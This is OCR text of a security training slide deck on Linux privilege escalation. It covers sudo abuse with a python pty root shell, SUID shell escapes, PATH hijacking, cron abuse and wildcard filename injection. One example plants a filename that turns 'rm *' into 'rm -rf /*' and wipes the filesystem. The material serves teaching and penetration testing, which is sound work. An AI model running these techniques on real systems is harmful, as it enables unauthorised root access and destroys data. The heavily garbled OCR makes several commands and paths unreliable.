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DAY OF
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PRIVILEGE ESCALATION

AND SO WE BEGIN



DAY OF Privilege Escalation

SHECURITY DEFINITION AND FRAMING
sssssssssss ga®
Definition Two ways to escalate:
» Using privileges of various agents to ,
gain access to resources 1 You're the agent
your current user permissions are
When does it come into play? sufficient to execute the command &
do the thing
Framing 2. Something else is the agent

you get something else to execute the
*  Who’s doing the execution? command under THEIR permissions,

. What are their privileges? which are sufficient to do the thing
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EASY MODE

SO YOU’RE IN THE SERVER - NOW WHAT?
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WHO ARE YOU?

whoami
id

Before Anything Else
CHECK YOUR PRIVILEGE

WHERE ARE YOU?

pwd

ARE YOU REALLY REALLY LUCKY?

cat /etc/shadow
vs. cat /etc/passwd

cd /root



s —al /home

o

| _( Ui Permission

:[:I\lTY CHECK YOUR PRIVILEGE
Sponsored by & G B

* Where do you have read access?
t_TH_ i

/ home / M iR 3 _ /1ib/1ightdm—data

/usr/share/

ENV ' .eyring—kbdbnd/gpg:0:l

«  Where do you have write access? UPSTERT. SESSION-=un ot SHon/000/
/home/USER/.ssh .
/root/

/etc/crontab

Cpio=01;
5:*.pbm
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sudo
MAKE ME A SANDWICH

sudo -l

* What commands can you execute?
* Do you need a password?

robm@homebox ~§ Sudo su

Possiiord:

robm is not in the sudoers file.
This incident will be reported.
robm@homebox ~§ I

!

HEY — WHO DOES
SUDO REPORT THESE
INCIDENTS™ 70?2

YOU KNOW, TVE
NEVER CHECKED.

ol

1]

T N

https://xkcd.com/838/ - Incident




;lfli sudo
) :[:I \lTY MAKE ME A SANDWICH
Sponsorecty & @ B

sudo -l

* What commands can you execute?
* Do you need a password?

cat /etc/sudoers

cat /etc/group

&/
#
#
#
#
#

- =

# Host alia

# lser alias

# Cond alia

= on |:|:-::t|

~/local /bin\:Aus

may run the following commands on oshb

udoers

This file HUST be edited with the 'wisudo' command as root,

See the man page for details on how to write & sudoers file,

ecure_path=/usr/local /sbin

pecification

specification

pecification
specification

/bindpython, /binfcat
Lp

bins:/bi

S+ Ausrslocal /bin




A \ T a ching ef au : L ~ osboxes on osboxes:
n ( I I Su d 9] EX p I 9) |t - Pyt h on _ s ) inte/usrd local /bint e /usr/sbinh e Ausr/binh e Asbinh e /bl

E[:I\”Y SUDO MAKE ME A SANDWICH
Sponsored by & @) B

sudo python —c ‘import pty; Gosboxes:“$ python —c 'import ptyspty.spaun("/bin/sh"):’
pty.spawn(“/bin/bash”);’

New shell spawned by python also runs
under root permissions




PASSWORD ENTROPY 5 | | SET UP AWEBSERVICE | | BAM, YOUVE GOTA | 7oNsoF PEORLE USE
I \Y UF RARELY RELEVANT. THE|| TODG SOMETHING SIMPLE, | | FEW MILLION EMAILS, ONE PASSWORD,
. . REAL MODERN DANGER | | LIKE IMAGE HOSTING OR | | DEFAULT USERNAMES, | srronG oR NOT
: Credential Reuse /6 PRSSHORD REUSE. | | TWEET SNDICATION, S0 || AND PRSSWORDS. | pog e Ao,
|ECUR|TY WE ARE CREATURES OF HABIT How 50? A FEW MILLION PEOALE.
Sponsore dhy@®e;@ lwﬂg SErLPFREEm O
: s,
N
Password reuse is RAMPANT
. . USE THE LIST AND SOME YOUVE Now GOT A FEW || WELL, THAT’S WHERE T COULD PROBABLY NET A LOT OF MONEY,
* web application passwords e aome” | HABREDBoUDREL || GoF Sck mmm’ ONE Wb O NTVER, L DDTHNGS
MOST POPULAR SITES, PWS | pryzen SERVICES, AND WWDWWM MONEY DOESNT MAKE PEOPLE HAPPIER,
. BANKS AND PRIFRL AND SUCH. | Noppy 50sPECTS ATHING. || T HOSTED SOMANY ONCE THEY MAKE
* known compromised passwords swes | £y ) AoOTEN e, MU T0 A0
. SERUEES"
for specific users P vy g
PR,
TUmER

* common/default credentials
nmap port scan or ps auf to see what’s up

https://imgs.xkcd.com/comics/password_reuse.png

I Qo Mess W Feore | [so, Here T ST, A owarEmrEwEmm WE ALREDY Lol
ENDLESSLY, BUTT DO THAT | | PUPPETMASTER WHO WANTS | | THE WORLD'S INFORMATION. SET LUP A COMPANYWIDE
ALREADY, T COMLD GET A NOTHING FROM HIS FUPPETS. | | NOw IT's TIME TD TURN EVIL. CoDH: MODERN NARFHEEO
POLITICAL OR RELIGIOUS \ WHATS THEPLAN? e ||| TOURNAENT EPG*\'-JEEK
IDEA OUT To MosT [T'S THE SAME. BOATIOADS mmeODH DBS N
SINCE MARCH OF GOOGLE. \‘O \ O !
1997 I DON'T \ HAS.
REALY BELIEVE ORAY
IN ANYTHING. WE SUCK

f AT THIS.




“/ bash_history

.

: _( Ui .bash_history

:[:I\lTY LEAKED INFORMATION
Spensored by G G B

* Any passwords entered into history?

* Any interesting files or directories?

ezt history

cat .bash_history vs history

dvardtmp




UAY 01 Ivar/log

:[:I\HY LEAKED INFORMATION
Sponsored by G @)
153 btmp
.r:;:ilrru-.
._=||:|I'||
) ) W= ] ” adm
* Are any credentials stored in logs? T 1root  adn
g ! ¥ adm : { L
e Any other useful information? A 1 root -; b 17 21530 dekg. log

antconfig, log

!E adm
utmp
root

= | Ij 1]
adm
adm
ntp
root
g adm
q adm
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Spansored by G @D
1. Who/where are you

2. What can you see/modify with
current permissions?

3. Look for:

1. sudo permissions
2. Credential Reuse
3. Leaked info from:
1. cat.bash_history

2. /var/log files

Easy Mode

RECAP

Two ways to escalate:

1. You’re the agent
your current user permissions are
sufficient to execute the command
& do the thing

2. Something else is the agent
you get something else to execute
the command under THEIR
permissions, which are sufficient
to do the thing
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SNEAKY MODE

FIND AND EXPLOIT SOME MISCONFIGURATIONS



osboxesBosboxes:™$ find / -perm -2000 -type £ 2>/dev/null
fsbin/unix_chkpwd

fusrdsbin/uuidd

fusr/bindcrontab

A ( I..
a J1 1 fusr/bin/mlocate
. SU I D/SG I D b I tS r’t‘IIS:.';tlli::lral"jl:';?:ll::f*:i le

E[:I \|TY CHECK THEIR PRIVILEGE rusr/bin/ssh-agent

fusr/binfwall

sponsored by @ @ 5 Jusr/bin/bsd-urite

Jusrsbin/mail-unlock

fusr/bin/mail-lock

Ausr/bin/X

dusr/bin/expiry

° ' itD fusrs/bindchage

What is the SUID/SGID bit fusr/binichage

dusr/lib/1libvte-2,90-9/gnome-pty-helper
. . P ; a/ -otu-h "

* How to find a SUID/SGID binary? b e anone P heleer

oshoxesPosboxes:™F find 7/ -perm -4000 -type £ 2>/dev/null

fusrdsbin/uuidd

fusr/sbin/pppd

* What runs as the root user? usr/bin/find

fusr/bin/tracerouteb, iputils

i - - 1= - > Jusr/bin/ 1 ppasswd

find / -perm -u=s [-type f] 2>/dev/null BN Pra

. fusr/bind/python, 7

ﬂnd/—pewn-4000[4ypef]2>kﬂ%ﬂnu” Jusr/bindehfn

Jusr/bindvim, tiny

fusr/bin/mtr

fusrsbindchsh

* What runs in the root group? /usr/bin/newgrp

Jusr/bin/pkexec

. fusr/bin/gpasswd

find / -perm -g=s [-type f] 2>/dev/null orbinsy

fusr/bindmysql

find / -perm -2000 [-type f] 2>/dev/null /usr/bin/passud

F) [ )/F) ] duzr/lib/dbus-1,0/dbus-daemon-1aunch-helper

fusr/1ib/openssh/ssh-keysiagn

Jusr/1ib/pt_chown

dusr/lib/policykit-1/polkit-agent-helper-1

Jusr/lib/eject/dmerypt-get-device




osboxesfosboxes:™% find / -perm -u=s -type f 2>/dev/rull
Ausr/sbin/uuidd

fusr/sbin/pppd

fusr/bin/find

" A \
| "( I-' SUID/SGID bItS fusr/bin/traceroutet, iputils

olr 1 Ausr/bindlppazswd
-[:I\”Y CHECK THEIR PRIVILEGE fusribinfsudo
- fusr/bin/python2, 7
soorsaredby G @ % Jusr/bin/chfn
Ausr/bindvim,tiny
B N fusr/bindmtr
What are “normal” SUID programs vs /usr/bin/chsh
fusr/bin/newgrp
. Ausr/bin/pkexec
ones that are exploitable? /uer/bin/gpaceud
AUsr/Dind A
fusr/bin/mysql
fusr/bin/passud
Ausr/11ib/dbus-1,0/dbus-daemon-1aunch-helper
. - fusr/lib/openssh/ssh-keysign
Standard Linux ut|||ty? fusr/lib/pt_choun .
Ausr/] @t-;“p-:_ul icyk it—lf“|:--:ulL‘.it-—ag-gnt—f'u:-lper'—l
Try shell escape or command option argument susr/1ib/eject/dncrypt-get-device
fbindnano
/bindsu
Jbindmount
/bin/ping
] in‘e li 2 /bindless
Custom script to make an admin’s life easy" e
) ) ) /bin/pingk
Try PATH=. (especially if the script makes a call .-{Ein.-{f'us-er-mc.ur.t
/bin/mare
: osboxes@osboxes:™$ find / -perm -g=s -type f 2>/dev/rull
to an aIIaS) Zebindunix_chkpud
) .-‘Iusr-.-fls-l:uinl.f'uuidd
Also watch for wildcards Jusr/bindcrontab
fusr/bin/mlocate
Ausr/bin/dotlockfile
Ausr/bin/ssh-agent
fusr/binfwall
fusr/bin/bsd-urite




DAY Of Shell Escapes
SHECURITY INTENTIONAL OPTION TO EXECUTE COMMANDS

—

less lcmd

more lcmd ~
¥ . gy

:lcmd |
Vi :'emd ( .
\

mysq| system cmd &T

\lcmd
AND MANY MORE

https://www.mariowiki.com/File:Koopa_Troopa_Artwork_-_Super_Mario_3D_World.png



JAY Of Cmd option arguments
-[:I \”Y INTENTIONAL OPTION TO
spomsoredby @ @ B EXECUTE COMMANDS

Option
find -exec CMD \;
awk {system(“CMD”)}

AND MANY MORE

aunch-he

il

b

1
1
1
1
1
1
1
l -
]_ -
-1 -
1
1
1
1
1
1
1
1

li I:uuu
-

o

Bl el el el el e N

/ —per

1|:i libuuid .L_. :




; AY Ui SUID Exploit
|EE|\|TY TRICKING AN EXECUTABLE
spansoredy § @ B INTO SPAWNING A SHELL

015 Ausr/bin/nano -> /bin/nano

Exploit:
1. create a temporary file with shell cmd
2. open nano with temp file set as spell-check
reference
3. run spell-check to execute cmd under root
permissions




DAY OF Path =.
SHECURITY START LOOKING HERE

Sponsored w G H B

Path is an environment variable telling the
OS where to look for an aliased binary

Instead of typing /bin/ls every time,
you can just type Is

USE CASE: Prank the Admin

* Bill knows that his supervisor Sue has
her PATH = .

*  Writes a script to prank her, namesi it Is,
sticks it in his /home/BILL/ directory

* Asks Sue why Is isn’'t working in his ~

®* Sue runs ls in /home/BILL/ and executes
the prank script instead of /bin/Is binary



JAY OF Path =.

SHECURITY START LOOKING HERE
Sponsored by G @D
Custom script on the web server might USE CASE: helperSH Exploit
execute call to aliased program
calling cat $FILE instead of /bin/cat $FILE * helperSHiis a custom script on the web
server that makes life easy for an admin;
SUID as root

If it runs under root privs, you can exploit it o _
* Command within the script executes

something recognizable (like ps)

* |n writeable dir, make new file
echo “/bin/sh” > ps

e Setown PATH =.

*  Execute script from writeable dir




DAY Of Path = .
SHECURITY START LOOKING HERE

Sponsored by G @)

’share/helpersSH

USE CASE: helperSH Exploit

* helperSH is a custom script on the web
server that makes life easy for an admin;
SUID as root

* Command within the script executes
something recognizable (like ps)

* |n writeable dir, make new file
echo “/bin/sh” > ps

¢ Setown PATH =.

*  Execute script from writeable dir




DAY OF Wildcards
SHECURITY COMMAND OPTION ARGUMENTS AS FILENAMES

Sponsored w G H B

When using * wildcard, Unix shell interprets
—FILENAME as command option argument

Meaning you can
submit command options
through file name
when running a wildcard process

Look for wildcards in
custom scripts, cron jobs, executables

CHOWN EXAMPLE

files in a given dir include:
.FileRef.php
--reference=.FileRef.php

when root executes the following:

chown —R nobody:nobody *.php

becomes:

chown —R nobody:nobody --reference=.FileRef.php

User:group permissions of .FileRef.php are
mapped onto every file in the directory



DAY OF Wildcards

SHECURITY

Sponsored w G H B

When using * wildcard, Unix shell interprets
—FILENAME as command option argument

Meaning you can
submit command options
through file name
when running a wildcard process

Look for wildcards in
custom scripts, cron jobs, executables

COMMAND OPTION ARGUMENTS AS FILENAMES

NOTE
EXPLOIT BELOW DELETES THE FILESYSTEM

cd /tmp
echo “blah” > “-rf /*”
rm*

When rm * gets to —rf /* file, command becomes
rm —rf /*

Which recursively deletes everything on the
filesystem, starting at /



DAY OF Sneaky Mode
SHECURITY

i 985 RECAP

_ Two ways to escalate:

SUID/SGID bits

® You’re the agent — your current user
permissions are sufficient to execute the
command & do the thing

1. Shell escapes

2. Cmd option arguments

o

3. PATH = . Something elseis the agent — you get
something else to execute the command
under THEIR permissions, which are

, sufficient to do the thing

Wildcards
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BOSS MODE

THESE WILL TAKE SOME TIME TO GET
RIGHT
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SHECURITY PRIVILEGE IS A CRONIC PROBLEM

Sponsored w G H B

Cron jobs are cmds executed on a schedule
Almost always run under root permissions

® Jetc/cron.allow & /etc/cron.deny specify user privs

Cron takes a file; file tells it what to execute
and when

° /etc/crontab

Related: at, batch (one-time execution)

How to exploit?

1.

2.

Overwrite /etc/crontab
Write to a cron dir (priv misconfig)

If the what is vulnerable, might be able to
modify or hit something downstream

Cron jobs may also have wildcards



DAY O cron
SHECURITY PRIVILEGE IS A CRONIC PROBLEM

Sponsored by G @)

How to exploit?

t 1. Overwrite /etc/crontab
tile
name fields,

2.  Write to a cron dir (priv misconfig)

3. Ifthe what is vulnerable, might be able to
modify or hit something downstream

h dom mon
] W W

*

arts —=repor

peamesamwe /. Cron jobs may also have wildcards

&% run-parts --repor

s 1s —al /bindnano
ot 1 Oet 1 2012 Zbindnano
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SHECURITY PRIVILEGE IS A CRONIC PROBLEM

Sponsored by G @ &

.'F'-: | -{r'-'F Irllrl

1 How to exploit?

2 root roo ) b

Z root b 40 g § i d-ﬂll{ ]

2 root tarp 4096 Feb 15 ° hourly 1. Overwrite /etc/crontab

2 root root 40 Jug & 4 monthly
~oot root 7449 tab . . ) . .

. :r ~oot, 4096 -_ 5 2015 ‘.]Eekl.ﬂ 2. Write to acron dir (priv misconfig)
+“¢ 1s -2

3. Ifthe what is vulnerable, might be able to

1 root ro - b 18 modify or hit something downstream
rllllf r||||1' S ]

4. Cron jobs may also have wildcards
5 root

3 placeholder
o tes fFl ]_E'




RONIC PROBLEM

How to exploit?

1. Overwrite /etc/crontab

arep 2. Write to a cron dir (priv misconfig)
Feb 1
' 3. Ifthewhatis vulnerable, might be able

to modify or hit something downstream

4. Cron jobs may also have wildcards

05 getroot



AY O Kernel Exploits
SHECURITY HOPE YOU LIKE DEBUGGING IN C

Magic bullet: what if we just compromise
the server OS itself??!

LSB_RELEASE -A

Downside: there might be exploits that
you need to grab & compile & debug

eric #26714,04,1-Ubunty SMP Fri Jul 24 21:16:20 UTC 2015 =86
NOTE: not-small risk of bricking the
server

UNAME -A
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_ Two ways to escalate:

Cron jobs

® You’'re the agent — your current user
permissions are sufficient to execute the

2. writeable cron dir command & do the thing

1. /etc/crontab

3.  affect process downstream ® Something else is the agent — you get
something else to execute the command
under THEIR permissions, which are
Kernel exploits sufficient to do the thing
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THAT’S ONE IN THE BANK

LET ME SUM UP
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i 9B ONE HOUR IN ONE SLIDE

Typical goal once in server: Easy mode
persistence + privilege escalation
* Who are you?

* Areyou the agent? * Where are you?

t)
Drop into a root shell & give yourself * What can you do*

persistence
Sneaky mode

* Is something else the agent?

Need an intermediate step — get something * SUID/SGID bits: _ B
to help you out sh_eII escapes, cmd option args, PATH =.
*  Wildcards
Boss mode

* Cron jobs
* Kernel exploits
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kbroussard@bishopfox.com
@grazhacks on Twitter

o https://payatu.com/quide-linux-privileqge-escalation/

° http://www.securitysift.com/download/linuxprivchecker.py SLIDE DECK

° https://exploit-db.com

° https://www.linode.com/docs/tools-reference/linux-users-and-groups/

° https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/

. . . . ) . i PRACTICE VM
° https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

° https://percussiveelbow.github.io/linux-privesc/
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https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/
https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
https://percussiveelbow.github.io/linux-privesc/
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Thank you!

Questions?



